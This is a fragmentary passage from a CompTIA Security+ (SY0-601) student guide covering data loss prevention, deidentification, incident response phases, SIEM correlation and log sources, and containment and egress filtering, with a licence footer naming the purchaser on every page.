impractical. Unauthorized copying or retrieval of data from a system is referred to as
data exfiltration. Data exfiltration attacks are one of the primary means for attackers
to retrieve valuable data, such as personally identifiable information (PII) or payment
information, often destined for later sale on the black market. Data exfiltration can take
place via a wide variety of mechanisms, including:
• Copying the data to removable media or other device with storage, such as USB
drive, the memory card in a digital camera, or a smartphone.
• Using a network protocol, such as HTTP, FTP, SSH, email, or Instant Messaging (IM)/
chat. A sophisticated adversary might use a Remote Access Trojan (RAT) to perform
transfer of data over a nonstandard network port or a packet crafter to transfer
data over a standard port in a nonstandard way. The adversary may also use
encryption to disguise the data being exfiltrated.
While some of these mechanisms are simple to mitigate through the use of
security tools, others may be much less easily defeated. You can protect data using
mechanisms and security controls that you have examined previously:
• Ensure that all sensitive data is encrypted at rest. If the data is transferred outside
the network, it will be mostly useless to the attacker without the decryption key.
• Create and maintain offsite backups of data that may be targeted for destruction or
ransom.
• Restrict the types of network channels that attackers can use to transfer data from
the network to the outside. Disconnect systems storing archived data from the
network.
• Train users about document confidentiality and the use of encryption to store and
transmit data securely. This should also be backed up by HR and auditing policies
that ensure staff are trustworthy.
Even if you apply these policies and controls diligently, there are still risks to data from
insider threats and advanced persistent threat (APT) malware. Consequently, a class of
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 449
security control software has been developed to apply access policies directly to data,
rather than just the host or network on which data is located.
• Endpoint agents—to enforce policy on client computers, even when they are not
connected to the network.
DLP agents scan content in structured formats, such as a database with a formal access
control model or unstructured formats, such as email or word processing documents.
A file cracking process is applied to unstructured data to render it in a consistent
scannable format. The transfer of content to removable media, such as USB devices,
or by email, instant messaging, or even social media, can then be blocked if it does
not conform to a predefined policy. Most DLP solutions can extend the protection
mechanisms to cloud storage services, using either a proxy to mediate access or the
cloud service provider's API to perform scanning and policy enforcement.
Creating a DLP policy in Office 365. (Screenshot used with permission from Microsoft.)
Remediation is the action the DLP software takes when it detects a policy violation. The
following remediation mechanisms are typical:
• Alert only—the copying is allowed, but the management system records an incident
and may alert an administrator.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
450 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Block—the user is prevented from copying the original file but retains access to it.
The user may or may not be alerted to the policy violation, but it will be logged as an
incident by the management engine.
• Quarantine—access to the original file is denied to the user (or possibly any user).
This might be accomplished by encrypting the file in place or by moving it to a
quarantine area in the file system.
• Tombstone—the original file is quarantined and replaced with one describing the
policy violation and how the user can release it again.
• Restrict printing and forwarding of documents, even when sent as file attachments.
Configuring a rights management template. (Screenshot used with permission from Microsoft.)
Rights management is built into other secure document solutions, such as Adobe
Acrobat.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 451
K-anonymous information is data that can be linked to two or more individuals. This
means that the data does not unambiguously reidentify a specific individual, but there is a
significant risk of reidentification, given the value of K. For example, if k=5, any group that
can be identified within the data set contains at least five individuals. NIST has produced an
overview of deidentification issues, in draft form at the time of writing (csrc.nist.gov/CSRC/
media/Publications/sp/800-188/draft/documents/sp800_188_draft2.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
452 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Data Masking
Data masking can mean that all or part of the contents of a field are redacted,
by substituting all character strings with "x" for example. A field might be partially
redacted to preserve metadata for analysis purposes. For example, in a telephone
number, the dialing prefix might be retained, but the subscriber number redacted.
Data masking can also use techniques to preserve the original format of the field. Data
masking is an irreversible deidentification technique.
Tokenization
Tokenization means that all or part of data in a field is replaced with a randomly
generated token. The token is stored with the original value on a token server or token
vault, separate to the production database. An authorized query or app can retrieve
the original value from the vault, if necessary, so tokenization is a reversible technique.
Tokenization is used as a substitute for encryption, because from a regulatory
perspective an encrypted field is the same value as the original data.
Aggregation/Banding
Another deidentification technique is to generalize the data, such as substituting a
specific age with a broader age band.
• As a storage method for data such as passwords where the original plaintext does
not need to be retained.
A salt is an additional value stored with the hashed data field. The purpose of salt is
to frustrate attempts to crack the hashes. It means that the attacker cannot use pre-
computed tables of hashes using dictionaries of plaintexts. These tables have to be
recompiled to include the salt value.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 453
Review Activity:
Privacy and Data Protection Controls
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
454 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 16
Summary
You should be able explain the importance of data governance policies and tools to
mitigate the risk data breaches and privacy breaches and implement security solutions
for data protection.
• Assign roles to ensure the proper management of data within the life cycle (owners,
custodians, stewards, controllers, processors, and privacy officers).
• Make impact assessments for breach events and identify notification and reporting
requirements.
• Use a content management system that enables classification tagging of files and
records.
• Deploy a data loss prevention system that enforces sharing and distribution policies
to files and records across different transmission mechanisms (file systems, email,
messaging, and cloud).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 17
Performing Incident Response
LESSON INTRODUCTION
From a day-to-day perspective, incident response means investigating the alerts
produced by monitoring systems and issues reported by users. This activity is guided
by policies and procedures and assisted by various technical controls.
Incident response is a critical security function and very large part of your work as
a security professional will be taken up with it. You must be able to summarize the
phases of incident handling, utilize appropriate data sources to assist an investigation,
and apply mitigation techniques to secure the environment after an event.
Lesson Objectives
In this lesson, you will:
• Summarize incident response procedures.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
456 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 17A
Summarize Incident
Response Procedures
Effective incident response is governed by formal policies and procedures, setting out
roles and responsibilities for an incident response team. You must understand the
importance of following these procedures and performing your assigned role within
the team to the best of your ability.
3. Containment—limit the scope and magnitude of the incident. The principal aim
of incident response is to secure data while limiting the immediate impact on
customers and business partners.
4. Eradication—once the incident is contained, remove the cause and restore the
affected system to a secure state by applying secure configuration settings and
installing patches.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 457
Incident response is likely to require coordinated action and authorization from several
different departments or managers, which adds further levels of complexity.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
458 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Some organizations may prefer to outsource some of the CIRT functions to third-party
agencies by retaining an incident response provider. External agents are able to deal
more effectively with insider threats.
Communication Plan
Secure communication between the trusted parties of the CIRT is essential for
managing incidents successfully. It is imperative that adversaries not be alerted to
detection and remediation measures about to be taken against them. It may not be
appropriate for all members of the CSIRT to be informed about all incident details.
The team requires an "out-of-band" or "off-band" communication method that cannot
be intercepted. Using corporate email or VoIP runs the risk that the adversary will
be able to intercept communications. One obvious method is cell phones but these
only support voice and text messaging. For file and data exchange, there should
be a messaging system with end-to-end encryption, such as Off-the-Record (OTR),
Signal, or WhatsApp, or an external email system with message encryption (S/MIME
or PGP). These need to use digital signatures and encryption keys from a system
that is completely separate from the identity management processes of the network
being defended.
Stakeholder Management
Trusted parties might include both internal and external stakeholders. It is not helpful
for an incident to be publicized in the press or through social media outside of planned
communications. Ensure that parties with privileged information do not release this
information to untrusted parties, whether intentionally or inadvertently.
You need to consider obligations to report the attack. It may be necessary to inform
affected parties during or immediately after the incident so that they can perform their
own remediation. It may be necessary to report to regulators or law enforcement. You
also need to consider the marketing and PR impact of an incident. This can be highly
damaging and you will need to demonstrate to customers that security systems have
been improved.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 459
• Detection time—research has shown that the existence of more than half of data
breaches are not detected for weeks or months after the intrusion occurs, while in
a successful intrusion data is typically breached within minutes. This demonstrates
that the systems used to search for intrusions must be thorough and the response
to detection must be fast.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
460 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
2. Weaponization—the attacker couples payload code that will enable access with
exploit code that will use a vulnerability to execute on the target system.
7. Actions on objectives—in this phase, the attacker typically uses the access he
has achieved to covertly collect information from target systems and transfer
it to a remote system (data exfiltration). An attacker may have other goals or
motives, however.
MITRE ATT&CK
As an alternative to the life cycle analysis implied by a kill chain, the MITRE
Corporation's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)
matrices provide access to a database of known TTPs. This freely available resource
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 461
(attack.mitre.org) tags each technique with a unique ID and places it in one or more
tactic categories, such as initial access, persistence, lateral movement, or command
and control. The sequence in which attackers may deploy any given tactic category is
not made explicit. This means analysts must interpret each attack life cycle from local
evidence. The framework makes TTPs used by different adversary groups directly
comparable, without assuming how any particular adversary will run a campaign at a
strategic level.
There is a matrix for enterprise, which can also be viewed as TTPs directed against
Linux, macOS, and Windows hosts, and a second matrix for mobile. For example, Drive
by Compromise is given the ID T1189 and categorized as an Initial Access tactic that
can target Windows, Linux, and macOS hosts. Clicking through to the page accesses
information about detection methods, mitigation methods, and examples of historic
uses and analysis.
Intrusion event represented in the Diamond Model. (Image: Released to public domain by
Sergio Caltagirone, Andrew Pendergast, and Christopher Betz [activeresponse.org/wp-content/
uploads/2013/07/diamond.pdf].)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
462 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Members of Kentucky and Alabama National and Air Guard participating in a simulated network
attack exercise. (Image © 2017 Kentucky National Guard.)
MITRE have published a white paper that discusses preparing and facilitating incident
response exercises (mitre.org/sites/default/files/publications/pr_14-3929-cyber-exercise-
playbook.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 463
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
464 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Incident Response Procedures
Answer the following questions:
1. What are the six phases of the incident response life cycle?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 465
Topic 17B
Utilize Appropriate Data Sources
for Incident Response
Security monitoring produces a very large amount of data, and automated detection
systems can generate a large volume of alerts. Prioritizing and investigating the
most urgent events as incidents and resolving them quickly is a significant challenge
for all types of organization. As a security professional, you must be able to utilize
appropriate data sources to perform incident identification as efficiently as possible.
Incident Identification
Identification is the process of collating events and determining whether any of them
should be managed as incidents or as possible precursors to an incident; that is, an
event that makes an incident more likely to happen. There are multiple channels by
which events or precursors may be recorded:
• Using log files, error messages, IDS alerts, firewall alerts, and other resources
to establish baselines and identifying those parameters that indicate a possible
security incident.
It is wise to provide for confidential reporting so that employees are not afraid to
report insider threats, such as fraud or misconduct. It may also be necessary to use an
"out-of-band" method of communication so as not to alert the intruder that his or her
attack has been detected.
First Responder
When a suspicious event is detected, it is critical that the appropriate person on
the CIRT be notified so that they can take charge of the situation and formulate the
appropriate response. This person is referred to as the first responder. This means
that employees at all levels of the organization must be trained to recognize and
respond appropriately to actual or suspected security incidents. A good level of security
awareness across the whole organization will reduce the incidence of false positives
and negatives. For the most serious incidents, the entire CIRT may be involved in
formulating an effective response.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
466 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Correlation
The SIEM can then run correlation rules on indicators extracted from the data sources
to detect events that should be investigated as potential incidents. You can also filter or
query the data based on the type of incident that has been reported.
Correlation means interpreting the relationship between individual data points to
diagnose incidents of significance to the security team. A SIEM correlation rule is a
statement that matches certain conditions. These rules use logical expressions, such as
AND and OR, and operators, such as == (matches), < (less than), > (greater than), and
in (contains). For example, a single-user logon failure is not a condition that should
raise an alert. Multiple user logon failures for the same account, taking place within
the space of one hour, is more likely to require investigation and is a candidate for
detection by a correlation rule.
Error.LogonFailure > 3 AND LogonFailure.User AND
Duration < 1 hour
As well as correlation between indicators observed on the network, a SIEM is likely to
be configured with a threat intelligence feed. This means that data points observed on
the network can be associated with known threat actor indicators, such as IP addresses
and domain names. AI-assisted analysis enables more sophisticated alerting and
detection of anomalous behavior.
Retention
A SIEM can enact a retention policy so that historical log and network traffic data is kept
for a defined period. This allows for retrospective incident and threat hunting, and can
be a valuable source of forensic evidence.
SIEM Dashboards
SIEM dashboards are one of the main sources of automated alerts. A SIEM dashboard
provides a console to work from for day-to-day incident response. Separate
dashboards can be created to suit many different purposes. An incident handler's
dashboard will contain uncategorized events that have been assigned to their account,
plus visualizations (graphs and tables) showing key status metrics. A manager's
dashboard would show overall status indicators, such as number of unclassified events
for all event handlers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 467
The SGUIL console in Security Onion. A SIEM can generate huge numbers of alerts
that need to be manually assessed for priority and investigation.
(Screenshot courtesy of Security Onion securityonion.net.)
Sensors
A sensor is a network tap or port mirror that performs packet capture and intrusion
detection. One of the key uses of a SIEM is to aggregate data from multiple sensors and
log sources, but it might also be appropriate to configure dashboards that show output
from a single sensor or source host.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
468 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Trend Analysis
Trend analysis is the process of detecting patterns or indicators within a data set
over a time series and using those patterns to make predictions about future events.
A trend is difficult to spot by examining each event in a log file. Instead, you need
software to visualize the incidence of types of event and show how the number or
frequency of those events changes over time. Trend analysis can apply to frequency,
volume, or statistical deviation:
• Frequency-based trend analysis establishes a baseline for a metric, such as number
of NXERROR DNS log events per hour of the day. If the frequency exceeds (or in
some cases undershoots) the threshold for the baseline, then an alert is raised.
Logging Platforms
Log data from network appliances and hosts can be aggregated by a SIEM either by
installing a local agent to collect and parse the log data or by using a forwarding system
to transmit logs directly to the SIEM server. Also, organizations may not operate a SIEM,
but still use a logging platform to aggregate log data in a central location.
Syslog
Syslog (tools.ietf.org/html/rfc3164) provides an open format, protocol, and server
software for logging event messages. It is used by a very wide range of host types. For
example, syslog messages can be generated by Cisco routers and switches, as well as
servers and workstations. It usually uses UDP port 514.
A syslog message comprises a PRI code, a header containing a timestamp and host
name, and a message part. The PRI code is calculated from the facility and a severity
level. The message part contains a tag showing the source process plus content.
The format of the content is application dependent. It might use space- or comma-
delimited fields or name/value pairs, such as JSON data.
RFC 5424 (tools.ietf.org/html/rfc5424) adjusts the structure slightly to split the tag into app
name, process ID, and message ID fields, and to make them part of the header.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 469
• Syslog-ng uses a different configuration file syntax, but can also use TCP/secure
communications and more advanced options for message filtering.
journalctl
In Linux, text-based log files of the sort managed by syslog can be viewed using
commands such as cat, tail, and head. Most modern Linux distributions now
use systemd to initialize the system and to start and manage background services.
Rather than writing events to syslog-format text files, logs from processes managed
by systemd are written to a binary-format file called journald. Events captured by
journald can be forwarded to syslog. To view events in journald directly, you can use
the journalctl command to print the entire journal log, or you can issue various
options with the command to filter the log in a variety of ways, such as matching a
service name or only printing messages matching the specified severity level.
NXlog
NXlog (nxlog.co) is an open-source log normalization tool. One principal use for it is
to collect Windows logs, which use an XML-based format, and normalize them to a
syslog format.
• System—events generated by the operating system and its services, such as storage
volume health checks.
• Forwarded Events—events that are sent to the local log from other hosts.
Network Logs
Network logs are generated by appliances such as routers, firewalls, switches, and
access points. Log files will record the operation and status of the appliance itself—the
system log for the appliance—plus traffic and access logs recording network behavior,
such as a host trying to use a port that is blocked by the firewall, or an endpoint trying
to use multiple MAC addresses when connected to a switch.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
470 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Authentication Logs
Authentication attempts for each host are likely to be written to the security log. You
might also need to inspect logs from the servers authorizing logons, such as RADIUS
and TACACS+ servers or Windows Active Directory (AD) servers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 471
VoIP and Call Managers and Session Initiation Protocol (SIP) Traffic
Many VoIP systems use the Session Initiation Protocol (SIP) to identify endpoints and
setup calls. The call content is transferred using a separate protocol, typically the Real
Time Protocol (RTP). VoIP protocols are vulnerable to most of the same vulnerabilities
and exploits as web communications. Both SIP and RTP should use the secure
protocol forms, where endpoints are authenticated and communications protected by
Transport Layer Security (TLS).
The call manager is a gateway that connects endpoints within the local network and
over the Internet. The call manager is also likely to implement a media gateway to
connect VoIP calls to cellphone and landline telephone networks. SIP produces similar
logs to SMTP, typically in the common log format. A SIP log will identify the endpoints
involved in a call request, plus the type of connection (voice only or voice with video,
for instance), and status messaging. When handling requests, the call manager and
any other intermediate servers add their IP address in a Via header, similar to per-
hop SMTP headers. Inspecting the logs might reveal evidence of a man-in-the-middle
attack where an unauthorized proxy is intercepting traffic. VoIP systems connected to
telephone networks are also targets for toll fraud. The call manager's access log can be
audited for suspicious connections.
Dump Files
System memory contains volatile data. A system memory dump creates an image
file that can be analyzed to identify the processes that are running, the contents of
temporary file systems, registry data, network connections, cryptographic keys, and
more. It can also be a means of accessing data that is encrypted when stored on a
mass storage device.
Metadata
Metadata is the properties of data as it is created by an application, stored on media,
or transmitted over a network. A number of metadata sources are likely to be useful
when investigating incidents, because they can establish timeline questions, such as
when and where, as well as containing other types of evidence.
File
File metadata is stored as attributes. The file system tracks when a file was created,
accessed, and modified. A file might be assigned a security attribute, such as marking
it as read-only or as a hidden or system file. The ACL attached to a file showing its
permissions represents another type of attribute. Finally, the file may have extended
attributes recording an author, copyright information, or tags for indexing/searching. In
Linux, the ls command can be used to report file system metadata.
Web
When a client requests a resource from a web server, the server returns the resource
plus headers setting or describing its properties. Also, the client can include headers
in its request. One key use of headers is to transmit authorization information, in
the form of cookies. Headers describing the type of data returned (text or binary, for
instance) can also be of interest. The contents of headers can be inspected using the
standard tools built into web browsers. Header information may also be logged by a
web server.
Email
An email's Internet header contains address information for the recipient and sender,
plus details of the servers handling transmission of the message between them. When
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
472 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
an email is created, the mail user agent (MUA) creates an initial header and forwards
the message to a mail delivery agent (MDA). The MDA should perform checks that the
sender is authorized to issue messages from the domain. Assuming the email isn't
being delivered locally at the same domain, the MDA adds or amends its own header
and then transmits the message to a message transfer agent (MTA). The MTA routes
the message to the recipient, with the message passing via one or more additional
MTAs, such as SMTP servers operated by ISPs or mail security gateways. Each MTA
adds information to the header.
Headers aren't exposed to the user by most email applications, which is why they're
usually not a factor in an average user's judgment. You can view and copy headers
from a mail client via a message properties/options/source command. MTAs can add
a lot of information in each received header, such as the results of spam checking. If
you use a plaintext editor to view the header, it can be difficult to identify where each
part begins and ends. Fortunately, there are plenty of tools available to parse headers
and display them in a more structured format. One example is the Message Analyzer
tool, available as part of the Microsoft Remote Connectivity Analyzer (testconnectivity.
microsoft.com/tests/o365). This will lay out the hops that the message took more
clearly and break out the headers added by each MTA.
Mobile
Mobile phone metadata comprises call detail records (CDRs) of incoming, outgoing,
and attempted calls and SMS text time, duration, and the opposite party's number.
Metadata will also record data transfer volumes. The location history of the device
can be tracked by the list of cell towers it has used to connect to the network. If you
are investigating a suspected insider attack, this metadata could prove a suspect's
whereabouts. Furthermore, AI-enabled analysis (or patient investigation) can
correlate the opposite party numbers to businesses and individuals through other
public records.
CDRs are generated and stored by the mobile operator. The retention period for CDRs
is determined by national and state laws, but is typically around 18 months. CDRs are
directly available for corporate-owned devices, where you can request them from the
communications provider as the owner of the device. Metadata for personally owned
devices would only normally be accessible by law enforcement agencies by subpoena
or with the consent of the account holder. An employment contract might require an
employee to give this consent for bring your own device (BYOD) mobiles used within
the workplace.
Metadata such as current location and time is also added to media such as photos and
videos, though this is true for all types of computing device. When these files are uploaded
to social media sites, they can reveal more information than the uploader intended.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 473
will provide the ability to pivot from the event or alert summary to the underlying
packets. Detailed analysis of the packet contents can help to reveal the tools used in an
attack. It is also possible to extract binary files such as potential malware for analysis.
Netflow/IPFIX
A flow collector is a means of recording metadata and statistics about network traffic
rather than recording each frame. Network traffic and flow data may come from a wide
variety of sources (or probes), such as switches, routers, firewalls, web proxies, and so
forth. Flow analysis tools can provide features such as:
• Highlighting of trends and patterns in traffic generated by particular applications,
hosts, and ports.
• Visualization tools that enable you to quickly create a map of network connections
and interpret patterns of traffic and flow data.
sFlow
sFlow, developed by HP and subsequently adopted as a web standard (tools.ietf.org/
html/rfc3176), uses sampling to measure traffic statistics at any layer of the OSI model
for a wider range of protocol types than the IP-based Netflow. sFlow can also capture
the entire packet header for samples.
Bandwidth Monitor
Bandwidth usage can be a key indicator of suspicious behavior, if you have reliable
baselines for comparison. Unexpected bandwidth consumption could be evidence
of a data exfiltration attack, for instance. Bandwidth usage can be reported by flow
collectors. Firewalls and web security gateways are also likely to support bandwidth
monitoring and alerting.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
474 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Appropriate Data Sources for
Incident Response
Answer the following questions:
2. You need to correlate intrusion detection data with web server log files.
What component must you deploy to collect IDS alerts in a SIEM?
3. Which software tool is most appropriate for forwarding Windows event logs
to a Syslog-compatible server?
5. What type of data source(s) would you look for evidence of a suspicious
MTA in?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 475
Topic 17C
Apply Mitigation Controls
Mitigation techniques are applied first to contain, and then to eradicate and recover
from the effects of malicious activity. Incident response is a highly pressured activity,
with the conflicting challenges of eliminating the intrusion without disrupting business
workflows. You must be able to select and apply the appropriate technique for a
given scenario.
Incident Containment
As incidents cover such a wide range of different scenarios, technologies, motivations,
and degrees of seriousness, there is no standard approach to containment or incident
isolation. Some of the many complex issues facing the CIRT are:
• What damage or theft has occurred already? How much more could be inflicted and
in what sort of time frame (loss control)?
• What countermeasures are available? What are their costs and implications?
• What actions could alert the attacker to the fact that the attack has been detected?
What evidence of the attack must be gathered and preserved?
When an incident has been identified, classified, and prioritized, the next phase of
incident response is containment. Containment techniques can be classed as either
isolation-based or segmentation-based.
Isolation-Based Containment
Isolation involves removing an affected component from whatever larger environment
it is a part of. This can be everything from removing a server from the network after it
has been the target of a DoS attack, to placing an application in a sandbox VM outside
of the host environments it usually runs on. Whatever the circumstances may be,
you'll want to make sure that there is no longer an interface between the affected
component and your production network or the Internet.
A simple option is to disconnect the host from the network completely, either by
pulling the network plug (creating an air gap) or disabling its switch port. This is the
least stealthy option and will reduce opportunities to analyze the attack or malware.
If a group of hosts is affected, you could use routing infrastructure to isolate one or
more infected virtual LANs (VLANs) in a black hole that is not reachable from the rest
of the network. Another possibility is to use firewalls or other security filters to prevent
infected hosts from communicating.
Finally, isolation could also refer to disabling a user account or application service.
Temporarily disabling users' network accounts may prove helpful in containing damage
if an intruder is detected within the network. Without privileges to access resources, an
intruder will not be able to further damage or steal information from the organization.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
476 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Applications that you suspect may be the vector of an attack can be much less effective
to the attacker if the application is prevented from executing on most hosts.
Segmentation-Based Containment
Segmentation-based containment is a means of achieving the isolation of a host
or group of hosts using network technologies and architecture. Segmentation uses
VLANs, routing/subnets, and firewall ACLs to prevent a host or group of hosts from
communicating outside the protected segment. As opposed to completely isolating the
hosts, you might configure the protected segment as a sinkhole or honeynet and allow
the attacker to continue to receive filtered (and possibly modified) output over the
C&C channel to deceive him or her into thinking the attack is progressing successfully.
Analysis of the malware code by reverse engineering it could provide powerful
deception capabilities. You could intercept the function calls made by malware to allow
the adversary to believe an attack is proceeding while building detailed knowledge of
their tactics and (hopefully) identity. Attribution of the attack to a particular group will
allow an estimation of adversary capability.
If reinstalling from baseline template configurations or images, make sure that there is
nothing in the baseline that allowed the incident to occur! If so, update the template before
rolling it out again.
2. Reaudit security controls—ensure they are not vulnerable to another attack. This
could be the same attack or from some new attack that the attacker could launch
through information they have gained about your network.
If your organization is subjected to a targeted attack, be aware that one incident may be
very quickly followed by another.
3. Ensure that affected parties are notified and provided with the means to
remediate their own systems. For example, if customers' passwords are stolen,
they should be advised to change the credentials for any other accounts where
that password might have been used (not good practice, but most people do it).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 477
change may mean the deployment of a new type of security control, or altering the
settings of an existing control to make it more effective.
Historically, many organizations focused on ingress filtering rules, designed to
prevent local network penetration from the Internet. In the current threat landscape,
it is imperative to also apply strict egress filtering rules to prevent malware that has
infected internal hosts by other means from communicating out to C&C servers. Egress
filtering can be problematic in terms of interrupting authorized network activity, but it
is an essential component of modern network defense. Some general guidelines for
configuring egress filtering are:
• Allow only authorized application ports and, if possible, restrict the destination
addresses to authorized Internet hosts. Where authorized hosts cannot be
identified or a default deny is too restrictive, use URL and content filtering to try to
detect malicious traffic over authorized protocols.
• Restrict DNS lookups to your own or your ISP's DNS services or authorized public
resolvers, such as Google's or Quad9's DNS services.
• Block access to "known bad" IP address ranges, as listed on don't route or peer
(DROP) filter lists.
• Block access from any IP address space that is not authorized for use on your
local network.
• Block all Internet access from host subnets that do not need to connect to the
Internet, such as most types of internal server, workstations used to manage
industrial control systems (ICSs), and so on.
Even within these rules, there is a lot of scope for threat actors to perform command
signaling and exfiltration. For example, cloud services, such as content delivery
networks and social media platforms, can be used to communicate scripts and
malware commands and to exfiltrate data over HTTPS (rhinosecuritylabs.com/aws/
hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
478 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Vulnerabilities—if the malware exploited a software fault, either install the patch or
isolate the system until a patch can be developed.
• Lack of security controls—if the attack could have been prevented by endpoint
protection/A-V, host firewall, content filtering, DLP, or MDM, investigate the
possibility of deploying them to the endpoint. If this is not practical, isolate the
system from being exploited by the same vector.
• Weak configuration—if the configuration was correctly applied, but was exploited
anyway, review the template to devise more secure settings. Make sure the
template is applied to similar hosts.
• A block list (or deny list) generally allows execution, but explicitly prohibits listed
processes.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 479
You will need to update the contents of allow lists and block lists in response to
incidents and as a result of ongoing threat hunting and monitoring. Threat hunting
may also provoke a strategic change. For example, if you rely principally on explicit
denies, but your systems are subject to numerous intrusions, you will have to consider
adopting a "least privileges" model and using a deny-unless-listed approach. This sort
of change has the potential to be highly disruptive however, so it must be preceded by
a risk assessment and business impact analysis.
Execution control can also be tricky to configure effectively, with many opportunities
for threat actors to evade the controls. Detailed analysis of the attack might show the
need for changes to the existing mechanism, or the use of a more robust system.
Quarantine
If mitigating techniques are not successful, or the results are uncertain, the endpoint
will require careful management before being integrated back onto the network. If
further evidence needs to be gathered, the best approach may be to quarantine or
sandbox the endpoint or suspect process/file. This allows for analysis of the attack or
tool and collection of evidence using digital forensic techniques.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
480 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A Microsoft presentation at BlackHat illustrates some of the techniques that can be used
to mitigate adversarial AI (i.blackhat.com/us-18/Thu-August-9/us-18-Parikh-Protecting-the-
Protector-Hardening-Machine-Learning-Defenses-Against-Adversarial-Attacks.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 481
Review Activity:
Mitigation Controls
Answer the following questions:
4. A threat actor gained access to a remote network over a VPN. Later, you
discover footage of the user of the hacked account being covertly filmed
while typing their password. What type of endpoint security solution might
have prevented this breach?
6. You are investigating a client workstation that has not obtained updates to
its endpoint protection software for days. On the workstation you discover
thousands of executable files with random names. The local endpoint log
reveals that all of them have been scanned and identified as malware. You
can find no evidence of any further intrusion on the network. What is the
likely motive of the threat actor?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
482 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 17
Summary
You should be able explain the process and procedures involved in effective incident
response and implement strategies to remediate intrusion events.
• Develop an incident classification system and prepare IRPs and playbooks for
distinct incident scenarios, using attack frameworks (kill chain, Diamond Model, and
MITRE ATT&CK) to facilitate analysis.
• Host log file data sources (network, system, security, vulnerability scan output).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 18
Explaining Digital Forensics
LESSON INTRODUCTION
Where incident response emphasizes the swift eradication of malicious activity,
digital forensics requires patient capture, preservation, and analysis of evidence using
verifiable methods. You may be called on to assist with an investigation into the details
of a security incident and to identify threat actors. To assist these investigations, you
